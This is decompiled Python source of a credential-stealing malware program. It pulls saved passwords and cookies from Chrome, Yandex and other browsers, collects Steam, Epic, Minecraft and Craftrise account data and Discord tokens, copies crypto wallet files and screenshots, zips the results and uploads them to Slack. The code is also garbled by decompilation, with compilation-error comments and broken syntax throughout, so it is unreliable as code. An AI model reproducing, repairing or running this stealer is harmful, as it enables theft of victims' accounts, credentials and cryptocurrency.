yandex_paths = [os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['LOCALAPPDATA'], 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data')]
yandex_path = None
for path in yandex_paths:
if os.path.exists(path):
yandex_path = path
break
if not yandex_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'yandex')
except:
output_dir = 'sifre/yandex'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(yandex_path, 'Local State')
if not os.path.exists(local_state):
return None
else:
key = get_master_key(local_state)
try:
profiles = os.listdir(yandex_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(yandex_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, 'yandex_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'yandex_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
def decrypt_login_data(master_key, enc_value):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_login_data: Failure: Compilation Error
if not enc_value:
return '[Boş Veri]'
if not master_key:
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
else:
pass
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Master Key Yok]'
if isinstance(master_key, dict):
if enc_value.startswith(b'v20'):
m_key = master_key.get('v20')
else:
m_key = master_key.get('v10')
else:
m_key = master_key
if not m_key:
return '[Master Key Eksik]'
else:
if not enc_value.startswith(b'v10') and (not enc_value.startswith(b'v11')) and (not enc_value.startswith(b'v20')):
if windows:
try:
return windows.crypto.dpapi.unprotect(enc_value).decode('utf-8', errors='ignore')
except:
pass
else:
pass
else:
iv = enc_value[3:15]
payload = enc_value[15:]
try:
ciphertext = payload[-16)]
tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if enc_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES ERROR] {str(e)}'
decrypted = win32crypt.CryptUnprotectData(enc_value, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Bilinmeyen Şifreleme]'
return '[Master Key Yok]'
return '[Bilinmeyen Şifreleme]'
def process_chrome_data(output_root):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_data: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
local_state_path = None
for chrome_path in chrome_paths:
test_path = os.path.join(chrome_path, 'Local State')
if os.path.exists(test_path):
local_state_path = test_path
break
if not local_state_path:
return None
with open(local_state_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
if 'os_crypt' not in local_state:
return
master_key = get_master_key(local_state_path)
if not master_key:
return
process_chrome_passwords(output_root, master_key)
process_chrome_cookies(output_root, master_key)
except Exception:
return None
def process_chrome_passwords(output_root, master_key):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_passwords: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
else:
passwords_output = os.path.join(output_root, 'Passwords')
os.makedirs(passwords_output, exist_ok=True)
profiles = os.listdir(user_data_dir)
for profile in profiles:
login_data_path = os.path.join(user_data_dir, profile, 'Login Data')
if not os.path.exists(login_data_path):
continue
with tempfile.TemporaryDirectory() as temp_dir:
temp_login_path = os.path.join(temp_dir, 'LoginData')
if shadow_copy:
shadow_copy(login_data_path, temp_login_path)
shutil.copy2(login_data_path, temp_login_path)
with sqlite3.connect(temp_login_path) as con:
cur = con.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
if rows:
filename = 'chrome_passwords.txt' if profile == 'Default' else f'chrome_{profile}_passwords.txt'
with open(os.path.join(passwords_output, filename), 'w', encoding='utf-8') as f:
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
password = None
if master_key and (enc_pass.startswith(b'v10') or enc_pass.startswith(b'v11') or enc_pass.startswith(b'v20')):
password = decrypt_login_data(master_key, enc_pass)
if (not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]')) and windows:
try:
password = windows.crypto.dpapi.unprotect(enc_pass).decode('utf-8', errors='ignore')
except Exception:
pass
if not password or password.startswith('[ERROR]') or password.startswith('[Çözülemedi]'):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
password = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
password = '[Çözülemedi]'
if password and (not password.startswith('[Çözülemedi]')):
f.write(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {password}\n\n')
shutil.copy2(login_data_path, temp_login_path)
except Exception:
continue
except Exception:
return None
def process_chrome_cookies(output_root, master_key):
# irreducible cflow, using cdg fallback
# ***<module>.process_chrome_cookies: Failure: Compilation Error
chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
profiles = os.listdir(user_data_dir)
for profile in profiles:
cookies_path = os.path.join(user_data_dir, profile, 'Network', 'Cookies')
if not os.path.exists(cookies_path):
continue
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookies_path = os.path.join(temp_dir, 'Cookies')
if shadow_copy:
shadow_copy(cookies_path, temp_cookies_path)
shutil.copy2(cookies_path, temp_cookies_path)
with sqlite3.connect(f'{pathlib.Path(temp_cookies_path).as_uri()}?mode=ro', uri=True) as con:
cur = con.cursor()
cur.execute('SELECT host_key, name, CAST(encrypted_value AS BLOB) FROM cookies')
rows = cur.fetchall()
if rows:
filename = 'chrome_cookies.txt' if profile == 'Default' else f'chrome_{profile}_cookies.txt'
with open(os.path.join(output_root, filename), 'w', encoding='utf-8') as f:
for host, name, value in rows:
try:
decrypted = None
if value.startswith(b'v20') and master_key:
decrypted = decrypt_cookie_v20(value, master_key)
else:
if windows:
try:
decrypted = windows.crypto.dpapi.unprotect(value).decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
try:
d = win32crypt.CryptUnprotectData(value, None, None, None, 0)
if d and len(d) >= 2:
decrypted = d[1].decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
decrypted = '[DPAPI_FAIL]'
f.write(f'{host}\tFALSE\t/\tFALSE\t0\t{name}\t{decrypted}\n')
except Exception:
continue
shutil.copy2(cookies_path, temp_cookies_path)
except Exception:
continue
except Exception:
return None
def send_to_webhook(file_path=None, message=None, embeds=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_to_webhook: Failure: Compilation Error
if message:
send_slack_message(message)
if file_path and os.path.exists(file_path):
upload_to_slack_helper(file_path)
except Exception as e:
log_message(f'Slack error (send_to_webhook): {e}')
def count_cookies_and_passwords(output_root):
# ***<module>.count_cookies_and_passwords: Failure: Different control flow
cookie_count = 0
password_count = 0
if not os.path.exists(output_root):
return (0, 0)
else:
for root, dirs, files in os.walk(output_root):
for file in files:
try:
file_path = os.path.join(root, file)
if 'Passwords' in root or 'password' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
password_count += content.count('_________404_MESCİDİ__________')
if 'cookie' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
cookie_count += len([l for l in lines if not l.strip() and (not l.strip().startswith('#')) and ('\t' in l)])
if file.endswith('.txt'):
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
if '_________404_MESCİDİ__________' in content or ('URL :' in content and 'Password :' in content):
pass
else:
if 'http' in content.lower() or '.com' in content.lower():
cookie_count += len([l for l in content.split('\n') if '\t' in l and 'http' in l.lower()])
except Exception:
continue
return (cookie_count, password_count)
def run_cookie_extraction():
# ***<module>.run_cookie_extraction: Failure: Different bytecode
is_elevated_flag = '--elevated' in sys.argv
log_message('run_cookie_extraction started')
if not is_admin() and (not is_elevated_flag):
return (0, 0)
try:
if browser_cookie3:
log_message('browser_cookie3 module is LOADED.')
else:
log_message('browser_cookie3 module is MISSING.')
games = scan_games()
except Exception:
games = {}
computer_name = os.environ.get('COMPUTERNAME', 'UNKNOWN_PC')
user_name = os.environ.get('USERNAME', 'UNKNOWN_USER')
temp_dir = tempfile.mkdtemp()
output_root = os.path.join(temp_dir, f'Browser_{computer_name}')
os.makedirs(output_root, exist_ok=True)
os.makedirs(os.path.join(output_root, 'Passwords'), exist_ok=True)
browser_operations = [('Edge Cookies', get_edge_cookies, {'output_dir': output_root}), ('Opera Cookies', get_opera_cookies, {'output_dir': output_root}), ('Opera GX Cookies', get_opera_gx_cookies, {'output_dir': output_root}), ('Firefox Cookies', get_firefox_cookies, {'output_dir': output_root}), ('Yandex Cookies', get_yandex_cookies, {'output_dir': output_root}), ('Brave Passwords', extract_passwords, {'output_dir': os.path.join(output_root, 'Passwords'), 'user_data_path': os.path.join(output_root, 'Passwords')}), ('Yandex Passwords', extract_yandex, {'output_dir': os.path.join(output_root, 'Passwords')}), ('Chrome Data', process_chrome_data, {'output_root': output_root})]
for operation in browser_operations:
try:
log_message(f'Running operation: {operation[0]}')
if isinstance(operation[2], dict):
operation[1](**operation[2])
else:
operation[1](*operation[2])
except Exception as e:
log_message(f'Operation {operation[0]} failed: {e}')
cookie_count, password_count = count_cookies_and_passwords(output_root)
zip_path = None
has_files = False
for root, dirs, files in os.walk(output_root):
if files:
log_message(f'Found files in output: {files}')
has_files = True
break
if not has_files:
log_message(f'No files were extracted to {output_root}')
if has_files:
try:
log_message('Attempting to create zip file...')
zip_filename = f'Cookie_{computer_name}.zip'
zip_path = os.path.join(temp_dir, zip_filename)
create_zip_with_outputs(output_root, zip_path)
if os.path.exists(zip_path):
log_message(f'Zip created successfully at {zip_path}, size: {os.path.getsize(zip_path)}')
else:
log_message(f'Zip file NOT FOUND after creation attempt: {zip_path}')
except Exception as e:
log_message(f'Error in cookie extraction: {e}')
import traceback
log_message(traceback.format_exc())
return (cookie_count, password_count, zip_path)
def send_report(payload=None, file_path=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_report: Failure: Compilation Error
if payload:
text = payload.get('content') or payload.get('message') or ''
if not text and 'embeds' in payload:
embed = payload['embeds'][0]
text = f'*{embed.get('title', 'Report')}*\n{embed.get('description', '')}\n'
for field in embed.get('fields', []):
text += f'\n*{field['name']}*:\n{field['value']}\n'
return send_slack_message(text)
if file_path and os.path.exists(file_path):
return upload_to_slack_helper(file_path)
return False
except Exception:
return False
def upload_file(file_path, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.upload_file: Failure: Compilation Error
if os.path.exists(file_path):
return upload_to_slack_helper(file_path)
return False
except Exception:
return False
def scan_games():
# irreducible cflow, using cdg fallback
# ***<module>.scan_games: Failure: Compilation Error
games = {}
user = os.getenv('USERPROFILE', '')
if not user:
return games
with ThreadPoolExecutor(max_workers=8) as executor:
top_level_riot = ['C:\\Program Files\\Riot Games\\VALORANT', 'C:\\Riot Games\\VALORANT', 'D:\\Riot Games\\VALORANT', 'E:\\Riot Games\\VALORANT']
futures = {executor.submit(check_game_path('Valorant', top_level_riot), 'Valorant', executor.submit(check_game_path('Roblox', os.path.join(user, 'AppData', 'Local', 'Roblox'), [os.path.join(user, 'AppData', 'Local', 'Gameforge4d', 'GameforgeClient.exe')]), 'Albion Online', executor.submit(check_game_path('Growtopia', os.path.join(user, 'AppData', 'Local', 'Growtopia', 'Growtopia.exe'), [os.path.join('C:', 'Riot Games', 'League of Legends'), os.path.join('D:', 'Riot Games', 'League of Legends')]), 'League of Legends', executor.submit(collect_steam_info), 'Steam', executor.submit(collect_epic_games_info), 'Epic Games')}
for future in as_completed(futures):
game_name = futures[future]
result = future.result()
if isinstance(result, dict):
games.update(result)
if result:
games[game_name] = result
games[game_name] = False
return games
except Exception:
games[game_name] = False
except Exception:
return {}
def collect_steam_info():
# irreducible cflow, using cdg fallback
# ***<module>.collect_steam_info: Failure: Compilation Error
steam_info = {'installed': False, 'games_count': 0, 'username': '', 'level': '', 'wallet_balance': '', 'mobile_guard': ' Pasif'}
steam_paths = [os.path.join(os.getenv('ProgramFiles(x86)', ''), 'Steam'), os.path.join(os.getenv('ProgramFiles', ''), 'Steam'), os.path.join(os.getenv('USERPROFILE', ''), 'AppData', 'Roaming', 'Steam')]
steam_path = None
for path in steam_paths:
if os.path.exists(path):
steam_path = path
break
if not steam_path:
return {'Steam': False}
else:
steam_info['installed'] = True
steamapps_path = os.path.join(steam_path, 'steamapps')
if os.path.exists(steamapps_path):
acf_files = [f for f in os.listdir(steamapps_path) if f.endswith('.acf')]
steam_info['games_count'] = len(acf_files)
config_path = os.path.join(steam_path, 'config')
if os.path.exists(config_path):
loginusers_file = os.path.join(config_path, 'loginusers.vdf')
if os.path.exists(loginusers_file):
with open(loginusers_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('PersonaName[\\s\\t]+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('\"AccountName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
localconfig_file = os.path.join(config_path, 'localconfig.vdf')
if os.path.exists(localconfig_file):
with open(localconfig_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
wallet_match = re.search('\"wallet_balance\"\\s+\"([^\"]+)\"', content)
if not wallet_match:
wallet_match = re.search('wallet_balance[\\s\\t]+\"([^\"]+)\"', content)
if wallet_match:
balance_val = wallet_match.group(1).strip()
if balance_val and balance_val!= '0':
steam_info['wallet_balance'] = balance_val
level_match = re.search('\"level\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('\"SteamLevel\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('level[\\s\\t]+\"([^\"]+)\"', content)
if level_match:
level_val = level_match.group(1).strip()
if level_val:
steam_info['level'] = level_val
if windows:
steam_reg_path = 'SOFTWARE\\Valve\\Steam'
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, steam_reg_path) as key:
try:
mobile_guard, _ = winreg.QueryValueEx(key, 'MobileAuthenticatorEnabled')
steam_info['mobile_guard'] = ' Aktif' if mobile_guard else ' Pasif'
except:
steam_info['mobile_guard'] = ' Pasif'
if not steam_info.get('username'):
try:
reg_username, _ = winreg.QueryValueEx(key, 'PersonaName')
if reg_username:
steam_info['username'] = reg_username
except:
pass
if not steam_info.get('username'):
userdata_path = os.path.join(steam_path, 'userdata')
if os.path.exists(userdata_path):
for folder in os.listdir(userdata_path):
if folder.isdigit():
config_path_user = os.path.join(userdata_path, folder, 'config', 'localconfig.vdf')
if os.path.exists(config_path_user):
with open(config_path_user, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
return {'Steam': steam_info}
return {'Steam': steam_info}
except Exception:
pass
except Exception:
pass
except Exception:
steam_info['mobile_guard'] = ' Kontrol Edilemedi'
continue
return {'Steam': steam_info}
except Exception:
return {'Steam': False}
def collect_epic_games_info():
# irreducible cflow, using cdg fallback
# ***<module>.collect_epic_games_info: Failure: Compilation Error
epic_info = {'installed': False, 'games_count': 0, 'username': 'Bilinmiyor', 'email': 'Bilinmiyor'}
epic_paths = ['C:\\Program Files\\Epic Games', 'C:\\Program Files (x86)\\Epic Games', 'D:\\Epic Games', 'E:\\Epic Games']
epic_path = None
for path in epic_paths:
if os.path.exists(path):
epic_path = path
break
if not epic_path:
return {'Epic Games': False}
else:
epic_info['installed'] = True
for root, dirs, files in os.walk(epic_path):
if '.egstore' in dirs:
epic_info['games_count'] += 1
launcher_path = os.path.join(epic_path, 'Launcher')
if os.path.exists(launcher_path):
portal_path = os.path.join(launcher_path, 'Portal')
if os.path.exists(portal_path):
for root, dirs, files in os.walk(portal_path):
for file in files:
if file.endswith('.json'):
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
data = json.load(f)
if 'displayName' in data:
epic_info['username'] = data['displayName']
config_path = os.path.join(launcher_path, 'Saved', 'Config')
if os.path.exists(config_path):
for root, dirs, files in os.walk(config_path):
for file in files:
if file.endswith('.ini'):
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
email_match = re.search('email=([^\\n\\r]+)', content, re.IGNORECASE)
if email_match and (not epic_info.get('email') or epic_info['email'] == 'Bilinmiyor'):
epic_info['email'] = email_match.group(1).strip()
return {'Epic Games': epic_info}
continue
continue
except Exception:
return {'Epic Games': epic_info}
def check_path_exists(paths):
# ***<module>.check_path_exists: Failure: Different control flow
try:
for path in paths:
if os.path.exists(path):
pass
else:
return True
except Exception:
return False
return False
def check_game_path(game_name, paths):
return check_path_exists(paths)
def scan_wallets():
# irreducible cflow, using cdg fallback
# ***<module>.scan_wallets: Failure: Compilation Error
wallets = {}
user = os.getenv('USERPROFILE', '')
if not user:
return wallets
else:
wallet_paths = {'Exodus': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'Electrum': [os.path.join(user, 'AppData', 'Roaming', 'Electrum')], 'Coinomi': [os.path.join(user, 'AppData', 'Local', 'Coinomi')], 'MetaMask': [os.path.join(user, 'AppData', 'Local', 'MetaMask')], 'MyEtherWallet': [os.path.join(user, 'AppData', 'Local', 'MyEtherWallet'), os.path.join(user, 'AppData', 'Local', 'Trezor Bridge'), os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge')], 'Atomic': [os.path.join(user, 'AppData', 'Roaming', 'atomic')]}
with ThreadPoolExecutor(max_workers=6) as executor:
futures = {}
for wallet_name, paths in wallet_paths.items():
future = executor.submit(check_wallet_path, wallet_name, paths)
futures[future] = wallet_name
for future in as_completed(futures):
wallet_name = futures[future]
try:
wallets[wallet_name] = future.result()
except Exception:
wallets[wallet_name] = False
else:
return wallets
except Exception:
return {}
def check_wallet_path(wallet_name, paths):
return check_path_exists(paths)
def collect_wallet_data():
# irreducible cflow, using cdg fallback
# ***<module>.collect_wallet_data: Failure: Compilation Error
wallet_files = []
error_log = []
user = os.getenv('USERPROFILE', '')
if not user:
error_log.append('USERPROFILE environment variable not found')
return (wallet_files, error_log)
else:
wallet_configs = {'Exodus': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'extensions': ['.wallet', '.seed', '.key']}, 'Electrum': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Electrum', 'wallets')], 'extensions': ['.json', 'default_wallet']}, 'Guarda': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Guarda')], 'extensions': ['.json']}, 'Ledger Live': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge'), os.path.join(user, 'AppData', 'Local', 'Trezor Bridge')], 'extensions': ['.log']}, 'Atomic': {
for wallet_name, config in wallet_configs.items():
for path in config['paths']:
if os.path.exists(path):
for root, dirs, files in os.walk(path):
for file in files:
if any((ext in file.lower() for ext in config['extensions'])) and <code object LUID_AND_ATTRIBUTES at 0x703b27eb7530, file "sa.py", line 154>((ext in file.lower() for ext in config['extensions'])):
full_path = os.path.join(root, file)
wallet_files.append({'path': full_path, 'wallet': wallet_name.lower().replace(' ', '_'), 'filename': file})
return (wallet_files, error_log)
except Exception as e:
error_log.append(f'Error scanning {wallet_name} at {path}: {str(e)}')
except Exception as e:
error_log.append(f'General error in collect_wallet_data: {str(e)}')
def create_error_zip(error_log, zip_name='GAMES.zip'):
# ***<module>.create_error_zip: Failure: Different bytecode
try:
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as error_zip:
if error_log and len(error_log) > 0:
error_log_path = os.path.join(tempfile.gettempdir(), 'wallet_errors.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write(f'Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n')
f.write('==================================================\n')
for error in error_log:
f.write(f'- {error}\n')
error_zip.write(error_log_path, 'wallet_errors.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
return zip_path if os.path.exists(zip_path) else None
except Exception:
return None
def silent_wallet_collection():
# ***<module>.silent_wallet_collection: Failure: Different bytecode
wallet_files = []
error_log = []
try:
wallet_files, errors = collect_wallet_data()
error_log.extend(errors)
if not wallet_files and error_log:
error_zip_path = create_error_zip(error_log)
if error_zip_path:
try:
upload_file(error_zip_path)
if os.path.exists(error_zip_path):
os.remove(error_zip_path)
except Exception:
pass
return (wallet_files, error_log)
except Exception as e:
error_log.append(f'Critical error in silent_wallet_collection: {str(e)}')
return (wallet_files, error_log)
def take_snapshot():
# irreducible cflow, using cdg fallback
# ***<module>.take_snapshot: Failure: Compilation Error
with mss.mss() as sct:
tmp_file = os.path.join(tempfile.gettempdir(), f'snap_{random.randint(10000, 99999)}.png')
sct.shot(output=tmp_file)
return tmp_file if os.path.exists(tmp_file) else None
except Exception:
return None
def check_minecraft_premium():
# ***<module>.check_minecraft_premium: Failure: Different bytecode
minecraft_info = {'installed': False, 'premium_accounts': 0, 'usernames': [], 'total_accounts': 0}
user = os.getenv('USERPROFILE', '')
if not user:
return minecraft_info
else:
minecraft_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft')
if not os.path.exists(minecraft_path):
return minecraft_info
else:
minecraft_info['installed'] = True
try:
profiles_file = os.path.join(minecraft_path, 'launcher_profiles.json')
if os.path.exists(profiles_file):
with open(profiles_file, 'r', encoding='utf-8') as f:
profiles_data = json.load(f)
authentication_db = profiles_data.get('authenticationDatabase', {})
premium_count = 0
usernames = []
total_accounts = 0
for account_id, account_info in authentication_db.items():
total_accounts += 1
username = account_info.get('username', 'Bilinmiyor')
if username and '@' not in username:
premium_count += 1
usernames.append(username)
else:
if username and ('@live.com' in username or '@outlook.com' in username or '@hotmail.com' in username):
premium_count += 1
usernames.append(username.split('@')[0])
minecraft_info['premium_accounts'] = premium_count
minecraft_info['usernames'] = usernames
minecraft_info['total_accounts'] = total_accounts
except Exception:
pass
return minecraft_info
def create_zip(minecraft_files, growtopia_files, sonoyuncu_files, craftrise_files, wallet_files, zip_name='Games.zip', error_log=None, roblox_data=None):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip: Failure: Compilation Error
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
added_files = set()
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
pass
def add_files_to_zip(file_list, folder_name):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip.add_files_to_zip: Failure: Compilation Error
for f in file_list:
pass
if os.path.exists(f) and os.path.basename(f) not in added_files:
zipf.write(f, os.path.join(folder_name, os.path.basename(f)))
added_files.add(os.path.basename(f))
except Exception as e:
pass
if error_log is not None:
pass
error_log.append(f'Error adding {folder_name} file {f}: {str(e)}')
add_files_to_zip(minecraft_files, 'minecraft')
add_files_to_zip(growtopia_files, 'growtopia')
add_files_to_zip(sonoyuncu_files, 'sonoyuncu')
add_files_to_zip(craftrise_files, 'craftrise')
if roblox_data:
try:
zipf.writestr('roblox_cookie.txt', roblox_data)
added_files.add('roblox_cookie.txt')
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding roblox_cookie.txt: {str(e)}')
for wallet_info in wallet_files:
if os.path.exists(wallet_info['path']):
wallet_name = wallet_info['wallet']
filename = wallet_info['filename']
unique_name = f'{wallet_name}_{filename}'
counter = 1
original_unique_name = unique_name
if unique_name in added_files:
unique_name = f'{original_unique_name}_{counter}'
counter += 1
else:
zipf.write(wallet_info['path'], os.path.join('wallets', wallet_name, filename))
added_files.add(unique_name)
if error_log and len(error_log) > 0:
try:
error_log_path = os.path.join(tempfile.gettempdir(), 'error_log.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write('\n'.join(error_log))
zipf.write(error_log_path, 'error_log.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
except Exception:
pass
if os.path.exists(zip_path):
return zip_path
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding wallet file {wallet_info.get('path', 'UNKNOWN')}: {str(e)}')
class DataProcessor:
def __init__(self):
try:
self.user = os.path.expanduser('~')
self.accounts = []
except Exception:
self.user = ''
self.accounts = []
def read_config(self, fpath):
# irreducible cflow, using cdg fallback
# ***<module>.DataProcessor.read_config: Failure: Compilation Error
with open(fpath, 'r', encoding='utf-8') as f:
d = json.load(f)
u, e = (d.get('rememberName', ''), d.get('rememberPass', ''))
p = self.decrypt_data(e)
if u and p:
self.accounts.append({'Kullanıcı': u, 'Şifre': p})
except Exception:
return None
def decrypt_data(self, e):
# ***<module>.DataProcessor.decrypt_data: Failure: Different bytecode
try:
key = b'2640023187059250'
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(base64.b64decode(e))
pad = dec[(-1)]
if isinstance(pad, int):
pad = int(pad)
else:
pad = ord(pad)
txt = dec[ad].decode()
return self.process_text(txt).split('#')[0]
except Exception:
return 'Şifre çözülemedi'
def process_text(self, s):
def decode(s):
# ***<module>.DataProcessor.process_text.decode: Failure: Different bytecode
try:
return base64.b64decode(s).decode('utf-8')
except Exception:
return s
try:
for _ in range(2):
s = decode(s)
if not s:
break
else:
s = s.replace('3ebi2mclmAM7Ao2', '').replace('KweGTngiZOOj9d6', '')
return decode(s) or s
except Exception:
return s
def collect(self):
# ***<module>.DataProcessor.collect: Failure: Different bytecode
p = os.path.join(self.user, 'AppData', 'Roaming', '.craftrise')
if not os.path.exists(p):
return 'Craftrise hesabı bulunamadı.'
else:
try:
for root, _, files in os.walk(p):
for f in files:
if f == 'config.json':
try:
self.read_config(os.path.join(root, f))
except Exception:
pass
else:
pass
return self.accounts if self.accounts else 'Craftrise hesabı bulunamadı.'
except Exception:
return 'Craftrise bilgisi alınamadı.'
class TokenCollector:
def get_key(self, path):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_key: Failure: Compilation Error
local_state_path = os.path.join(path, 'Local State')
if not os.path.exists(local_state_path):
local_state_path = os.path.join(os.path.dirname(path), 'Local State')
if not os.path.exists(local_state_path):
return
with open(local_state_path, 'r', encoding='utf-8') as f:
key = base64.b64decode(json.load(f)['os_crypt']['encrypted_key'])[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception:
return None
def decrypt_token(self, enc, key):
# ***<module>.TokenCollector.decrypt_token: Failure: Different bytecode
try:
data = base64.b64decode(enc.split('dQw4w9WgXcQ:')[1])
iv, payload, tag = (data[3:15], data[15-16)], data[(-16):])
return AES.new(key, AES.MODE_GCM, iv).decrypt_and_verify(payload, tag).decode()
except Exception:
return None
def collect_tokens(self, path):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.collect_tokens: Failure: Compilation Error
leveldb_path = os.path.join(path, 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
